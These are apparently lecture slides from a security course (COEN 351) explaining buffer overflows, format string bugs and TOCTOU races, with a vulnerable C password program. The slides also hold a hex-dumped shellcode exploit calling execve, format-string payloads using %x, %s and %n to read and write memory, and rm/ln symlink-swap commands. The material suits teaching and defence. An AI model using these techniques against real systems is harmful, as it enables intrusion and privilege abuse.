Application Vulnerabilities and Attacks
COEN 351
Vulnerability and Exploits
Software Defects: A software defect is the encoding of a human error into the
software, including omissions. Security Flaw:
A security flaw is a software defect that poses a potential security risk.
Eliminating software defects eliminate security flaws. A vulnerability is a set of conditions that allows an
attacker to violate an explicit or implicit security policy. Not all security flaws lead to vulnerabilities.
A security flaw can cause a program to be vulnerable to attack.
Vulnerabilities can also exist without a security flaw.
Vulnerabilities and Exploits
Exploit:Proof-of-concept exploits are developed to
prove the existence of a vulnerability.Proof-of-concept exploits are beneficial when
properly managed. Proof-of-concept exploit in the wrong hands
can be quickly transformed into a worm or virus or used in an attack.
Pointer Subterfuge
Pointer Subterfuge modify a pointer’s value.Function pointers are overwritten to transfer
control to an attacker supplied shellcode.Data pointers can also be changed to modify
the program flow according to the attacker’s wishes.
Pointer Subterfuge
Using a buffer overflow: Buffer must be allocated in the
same segment as the target pointer.
Buffer must have a lower memory address than the target pointer.
Buffer must be susceptible to a buffer overflow exploit.
Buffer Overflow A buffer overflow occurs when data is written
outside of the boundaries of the memory allocated to a particular data structure.
SourceMemory
Allocated Memory (8 Bytes)
11 Bytes of Data
Copy Operation
Other Memory
Buffer Overflow
Process Memory Organization
Code or Text: Instructions and read only data
Data: Initialized data, uninitialized data, static variables, global variables
Heap: Dynamically allocated variables
Stack: Local variables, return addresses, etc.
Stack Smashing
When calling a subroutine / function: Stack stores the return address Stack stores arguments, return values Stack stores variables local to the subroutine
Information pushed on the stack for a subroutine call is called a frame. Address of frame is stored in the frame or base point
register. epb on Intel architectures
Stack Smashing#include <iostream>bool IsPasswordOkay(void){
char Password[8];
gets(Password);if (!strcmp(Password, “badprog"))
return(true);else return(false);
}void main() { bool PwStatus;
puts("Enter password:");PwStatus = IsPasswordOkay();if (PwStatus == false){
puts("Access denied");exit(-1);
}else puts("Access granted");
}
Stack Smashing
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4 bytes)
Return Addr of main – OS (4 Bytes)
…
Program stack before call to IsPasswordOkay()
puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus==true) puts("Hello, Master"); else puts("Access denied");
Stack
Stack Smashing
Storage for Password (8 Bytes)
Caller EBP – Frame Ptr main (4 bytes)
Return Addr Caller – main (4 Bytes)
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4 bytes)
Return Addr of main – OS (4 Bytes)
…
Program stack during call to IsPasswordOkay()
puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied");
bool IsPasswordOkay(void){ char Password[8];
gets(Password); if (!strcmp(Password,"badprog")) return(true); else return(false)}
Stack
Stack Smashing
Program stack after call to IsPasswordOkay()
puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied");
Storage for Password (8 Bytes)
Caller EBP – Frame Ptr main (4 bytes)
Return Addr Caller – main (4 Bytes)
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4 bytes)
Return Addr of main – OS (4 Bytes)
…
Stack
Stack Smashing
What happens if we enter more than 7 characters of an input string?
#include <iostream>bool IsPasswordOkay(void){
char Password[8];
gets(Password);if (!strcmp(Password, “badprog"))
return(true);else return(false);
}void main() { bool PwStatus;
puts("Enter password:");PwStatus = IsPasswordOkay();if (PwStatus == false){
puts("Access denied");exit(-1);
}else puts("Access granted");
}
Stack Smashing
bool IsPasswordOkay(void){ char Password[8];
gets(Password); if (!strcmp(Password,"badprog")) return(true); else return(false)}
Storage for Password (8 Bytes)
“12345678”
Caller EBP – Frame Ptr main (4 bytes)
“9012”
Return Addr Caller – main (4 Bytes)
“3456”
Storage for PwStatus (4 bytes)
“7890”
Caller EBP – Frame Ptr OS (4 bytes)
“\0”
Return Addr of main – OS (4 Bytes)
…
Stack
The return address and other data on the stack is over written because the memory space allocated for the password can only hold a maximum 7 character plus the NULL terminator.
Stack Smashing
A specially crafted string “abcdefghijklW►*!” produced the following result:
Stack Smashing
The string “abcdefghijklW►*!” overwrote 9 extra bytes of memory on the stack changing the callers return address thus skipping the execution of line 3
Storage for Password (8 Bytes)
“abcdefgh”
Caller EBP – Frame Ptr main (4 bytes)
“ijkl”
Return Addr Caller – main (4 Bytes)
“W►*!” (return to line 4 was line 3)
Storage for PwStatus (4 bytes)
“/0”
Caller EBP – Frame Ptr OS (4 bytes)
Return Addr of main – OS (4 Bytes)
Stack
Line Statement
1 puts("Enter Password:");
2 PwStatus=ISPasswordOkay();
3 if (PwStatus ==true)
4 puts("Hello, Master");
5 else puts("Access denied");
Stack Smashing
A buffer overflow can be exploited byChanging the return address in order to
change the program flow (arc-injection)Change the return address to point into the
buffer where it contains some malicious code (Code injection)
Stack Smashing
The get password program can be exploited to execute arbitrary code by providing the following binary data file as input:
000 31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç ·
+1"040 31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal
“
This exploit is specific to Red Hat Linux 9.0 and GCC
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The first 16 bytes of binary data fill the allocated storage space for the password. NOTE: Even though the program only allocated 12 bytes for the password, the version of the gcc compiler used allocates stack data in multiples of 16 bytes
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The next 4 bytes overwrite the return address. The new return address is 0X BF FF F9 E0 (little-endian)
Stack Smashing
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The malicious code. Purpose of malicious code is to call execve with a user
provided set of parameters. In this program, instead of spawning a shell, we just call
the linux calculator program.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The malicious code: xor %eax,%eax #set eax to zero mov %eax,0xbffff9ff #set to NULL word
Create a zero value and use it to NULL terminate the argument list.
This is necessary to terminate the argument list.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The malicious code: xor %eax,%eax #set eax to zero mov %eax,0xbffff9ff #set to NULL word mov $0xb,%al #set code for execve
Set the value of register al to 0xb. This value indicates a system call to execve.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The malicious code: mov $0xb,%al #set code for execve mov $0xbffffa03,%ebx #ptr to arg 1 mov $0xbffff9fb,%ecx #ptr to arg 2 mov 0xbffff9ff,%edx #ptr to arg 3
This puts the pointers to the arguments into ebc, ecx, and edx registers.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The malicious code: mov $0xbffffa03,%ebx #ptr to arg 1 mov $0xbffff9fb,%ecx #ptr to arg 2 mov 0xbffff9ff,%edx #ptr to arg 3 int $80 # make system call to execve
Now make the system call to execve. The arguments are in the registers.
Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
The malicious code: Last part are the arguments.
Stack Smashing
./BufferOverflow < exploit.bin now executes /usr/bin/cal\0.
Stack Smashing Countermeasures
Canaries Protect return addresses Random value is stored before return address. When returning, check whether canary has been
altered. Non-executable stacks
Prevents shellcode injection Randomizing stack layout
Introduce bogus empty blocks of memory on stack Attacker cannot predict stack layout
Data Pointers Example
void foo(void * arg, size_t len) {char buff[100];long val = …;long *ptr = …;memcpy(buff, arg, len);*ptr = val;…return;
}
Buffer is vulnerable to overflow.
Both val and ptr are located after the buffer and can be overwritten.
This allows a buffer overflow to write an arbitrary address in memory.
Data Pointers
Arbitrary memory writes can change the control flow.
This is easier if the length of a pointer is equal to the length of important data structures. Intel 32 Architectures:
sizeof(void*) = sizeof(int) = sizeof(long) = 4B.
Pointer Subterfuge
Targets for memory overwrites:Unix:
GOT table .dtors
Windows Virtual function tables Exception handlers
Details in Secure Programming Course
Format String Vulnerabilities
printf and companions are variadic functions.Variable number of arguments.Format string and addresses of arguments in
the format string are placed on the stack. Format string vulnerability:
User controls (partially) input to printf
Format String Vulnerabilities
Example
1. int func(char *user) {2. printf(user);3. }
If the user argument can be controlled by a user, this program can be exploited to crash the program, view the contents of the stack, view memory content, or overwrite memory
Format String Vulnerability
printf("%s%s%s%s%s%s%s%s%s%s%s%s"); The %s conversion specifier displays memory at an
address specified in the corresponding argument on the execution stack.
Because no string arguments are supplied in this example, printf() reads arbitrary memory locations from the stack until the format string is exhausted or an invalid pointer or unmapped address is encountered.
Viewing Stack Content
Attackers can also exploit formatted output functions to examine the contents of memory.
Disassembled printf() call
0x00000000char format [32]; strcpy(format, "%08x.%08x.%08x.%08x");
printf(format, 1, 2, 3);
1. push 3 2. push 2 3. push 1 4. push offset format5. call _printf 6. add esp,10h
Arguments are pushed onto the stack in reverse order.
the arguments in memory appear in the same order as in the printf() call
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The address of the format string 0xe0f84201 appears in memory followed by the argument values 1, 2, and 3
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The memory immediately following the arguments contains the automatic variables for the calling function, including the contents of the format character array 0x2e253038
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The format string %08x.%08x.%08x.%08 instructs printf() to retrieve four arguments from the stack and display them as eight-digit padded hexadecimal numbers
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
As each argument is used by the format specification, the argument pointer is increased by the length of the argument.
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
Each %08x in the format string reads a value it interprets as an int from the location identified by the argument pointer.
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The values output by each format string are shown below the format string.
Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The fourth “integer” contains the first four bytes of the format string—the ASCII codes for %08x.
Viewing Memory at a Specific Location
0x00000000
dcf54201 25782578
Final argument pointer
e0f84201 01000000 02000000 03000000
\xdc - written to stdout\xf5 - written to stdout\x42 - written to stdout\x01 - written to stdout
%x - advances argument pointer%x - advances argument pointer%x - advances argument pointer%s - outputs string at address specified
Initial argument pointer
Memory:
in next argument
% x % x
address advance-argptr %s\xdc\xf5\x42\x01%x%x%x%s
The series of three %x conversion specifiers advance the argument pointer twelve bytes to the start of the format string
Viewing Memory at a Specific Location
0x00000000
dcf54201 25782578
Final argument pointer
e0f84201 01000000 02000000 03000000
\xdc - written to stdout\xf5 - written to stdout\x42 - written to stdout\x01 - written to stdout
%x - advances argument pointer%x - advances argument pointer%x - advances argument pointer%s - outputs string at address specified
Initial argument pointer
Memory:
in next argument
% x % x
address advance-argptr %s\xdc\xf5\x42\x01%x%x%x%s
The %s conversion specifier displays memory at the address supplied at the beginning of the format string.
Viewing Memory Content
printf() displays memory from 0x0142f5dc until a \0 byte is reached.
The entire address space can be mapped by advancing the address between calls to printf().
Viewing memory at an arbitrary address can help an attacker develop other exploits, such as executing arbitrary code on a compromised machine.
Format String Vulnerability
Arbitrary memory can be written by using the %n specifier in the format string.
int i;
printf("hello%n\n", (int *)&i);
The variable i is assigned the value 5 because five characters (h-e-l-l-o) are written until the %n conversion specifier is encountered.
Using the %n conversion specifier, an attacker can write a small integer value to an address.
Format String Vulnerability
printf("\xdc\xf5\x42\x01%08x.%08x.%08x%n”);
Writes an integer value corresponding to the number of characters output to the address 0x0142f5dc.
The value written (28) is equal to the eight-character-wide hex fields (times three) plus the four address bytes.
An attacker can overwrite the address with the address of some shellcode.
Format String Vulnerability
printf ("%16u%n%16u%n%32u%n%64u%n",
The first %16u%n sequence writes the value 16 to the specified address, but the second %16u%n sequence writes 32 bytes because the counter has not been reset.
Dynamic Memory Errors
Errors change internal heap structures, leading to overwriting an arbitrary memory address with an arbitrary valueDouble free.
Exploited vulnerability in both Linux and Windows
TOCTOU Race Conditions
Race window by checking for some race object and later accessing it.
TOCTOU
#include <stdio.h>#include <unistd.h> int main(int argc, char *argv[]) { FILE *fd; if (access("/some_file", W_OK) == 0) { printf("access granted.\n"); fd = fopen("/some_file", "wb+"); /* write to the file */ fclose(fd); } . . . return 0;}
The access() function is called to check if the file exists and has write permission.
TOCTOU
#include <stdio.h>#include <unistd.h> int main(int argc, char *argv[]) { FILE *fd; if (access("/some_file", W_OK) == 0) { printf("access granted.\n"); fd = fopen("/some_file", "wb+"); /* write to the file */ fclose(fd); } . . . return 0;}
the file is opened for writing
TOCTOU
#include <stdio.h>#include <unistd.h> int main(int argc, char *argv[]) { FILE *fd; if (access("/some_file", W_OK) == 0) { printf("access granted.\n"); fd = fopen("/some_file", "wb+"); /* write to the file */ fclose(fd); } . . . return 0;}
Race window
between checking for access and opening file.
TOCTOU
Vulnerability An external process can change or replace the
ownership of some_file. If this program is running with an effective user ID
(UID) of root, the replacement file is opened and written to.
If an attacker can replace some_file with a link during the race window, this code can be exploited to write to any file of the attacker’s choosing.
TOCTOU
The program could be exploited by a user executing the following shell commands during the race window:
rm /some_fileln /myfile /some_file
The TOCTOU condition can be mitigated by replacing the call to access() with logic that drops privileges to the real UID, opens the file with fopen(), and checks to ensure that the file was opened successfully.
TOCTOU Exploits Symbolic Link
if (stat("/some_dir/some_file", &statbuf) == -1) {err(1, "stat");
}if (statbuf.st_size >= MAX_FILE_SIZE) { err(2, "file size");}
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1) { err(3, "open - /some_dir/some_file");}11. // process file
stats /some_dir/some_file and opens the file for reading if it is not too large.
TOCTOU Exploits Symbolic Link
if (stat("/some_dir/some_file", &statbuf) == -1) {err(1, "stat");
}if (statbuf.st_size >= MAX_FILE_SIZE) { err(2, "file size");}
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1) { err(3, "open - /some_dir/some_file");}11. // process file
The TOCTOU check occurs with the call of stat()
TOCTOU use is the call to fopen()
TOCTOU Exploits Symbolic Link
Attacker executes the following during the race window : rm /some_dir/some_file ln -s attacker_file /some_dir/some_file
The file passed as an argument to stat() is not the same file that is opened.
The attacker has hijacked /some_dir/some_file by linking this name to attacker_file.
TOCTOU Exploits Symbolic Link
Symbolic links are used because Owner of link does not need any permissions for the
target file. The attacker only needs write permissions for the
directory in which the link is created. Symbolic links can reference a directory. The attacker
might replace /some_dir with a symbolic link to a completely different directory
TOCTOU Exploits Symbolic Link
Example: passwd() functions of SunOS and HP/UX
passwd() requires user to specify password file as parameter
1. Open password file, authenticate user, close file.2. Create and open temporary file ptmp in same directory.3. Reopen password file and copy updated version into ptmp.4. Close both files and rename ptmp as the new password
file.
TOCTOU Exploits Symbolic Link
1. Attacker creates bogus password file called .rhosts2. Attacker places .rhosts into attack_dir3. Real password file is in victim_dir4. Attacker creates symbolic link to attack_dir, called
symdir.5. Attacker calls passwd passing password file as
/symdir/.rhosts.6. Attacker changes /symdir so that password in steps 1
and 3 refers to attack_dir and in steps 2 and 4 to victim_dir.
7. Result: password file in victim_dir is replaced by password file in attack_dir.
TOCTOU Exploits Symbolic Link
Symlink attack can cause exploited software to open, remove, read, or write a hijacked file or directory.
Other example: StarOffice Exploit substitutes a symbolic link for a file
whose permission StarOffice is about to elevate.
Result: File referred to gets permissions updated.
Morale
Existing code base is full of software errors. Changing to safer languages is going to alleviate the
problem. All application software is under suspicion.
Fast patching protects against most attacks. But not zero-day exploits
Patching can break applications, hence: Test on test servers before applying patches.
Decrease attack surface by running as few applications as possible running services at lowest possible privilege level.